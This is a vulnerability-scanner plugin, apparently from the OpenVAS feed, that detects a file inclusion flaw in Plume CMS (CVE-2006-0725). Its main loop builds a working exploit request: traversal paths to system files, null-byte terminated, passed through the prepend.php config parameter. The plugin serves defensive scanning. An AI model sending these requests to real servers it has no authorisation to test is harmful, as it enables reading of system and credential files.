CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
AI Score
Confidence
Low
EPSS
Percentile
93.5%
Plume CMS is prone to local and remote file inclusion vulnerabilities.
# SPDX-FileCopyrightText: 2006 Ferdy Riphagen
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.20972");
script_version("2023-12-13T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
script_tag(name:"cvss_base", value:"6.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2006-0725");
script_xref(name:"OSVDB", value:"23204");
script_name("Plume CMS <= 1.0.2 Remote File Inclusion Vulnerability");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_family("Web application abuses");
script_copyright("Copyright (C) 2006 Ferdy Riphagen");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"solution", value:"Either sanitize the prepend.php file as advised by the
developer (see references) or update to Plume CMS version 1.0.3 or later.");
script_tag(name:"summary", value:"Plume CMS is prone to local and remote file inclusion vulnerabilities.");
script_tag(name:"insight", value:"The version installed does not sanitize user input in the
'_PX_config[manager_path]' parameter in the 'prepend.php' file. This allows an attacker to include
arbitrary files and execute code on the system. This flaw is exploitable if PHP's register_globals
is enabled.");
script_xref(name:"URL", value:"http://www.plume-cms.net/news/77-Security-Notice-Please-Update-Your-Prependphp-File");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/16662");
script_xref(name:"URL", value:"http://secunia.com/advisories/18883/");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");
files = traversal_files();
port = http_get_port(default:80);
if (!http_can_host_php(port:port)) exit(0);
foreach dir( make_list_unique( "/plume", "/cms", "/", http_cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
res = http_get_cache(item:string(dir, "/index.php"), port:port);
if(res == NULL) continue;
if(egrep(pattern:'<a href=[^>]+.*alt="powered by PLUME CMS', string:res)) {
prefix[0] = "/";
prefix[1] = "c:/";
for(test = 0; prefix[test]; test++) {
foreach pattern(keys(files)) {
file = files[pattern];
url = string(dir, "/prepend.php?_PX_config[manager_path]=", prefix, file, "%00");
req = http_get(item:url, port:port);
recv = http_keepalive_send_recv(data:req, bodyonly:TRUE, port:port);
if (!recv) continue;
if (egrep(pattern:pattern, string:recv) ||
# And if magic_quotes_gpc = on, check for error messages.
egrep(pattern:"Warning.+\([^>]+\\0/conf/config\.php.+failed to open stream", string:recv)) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
}
}
}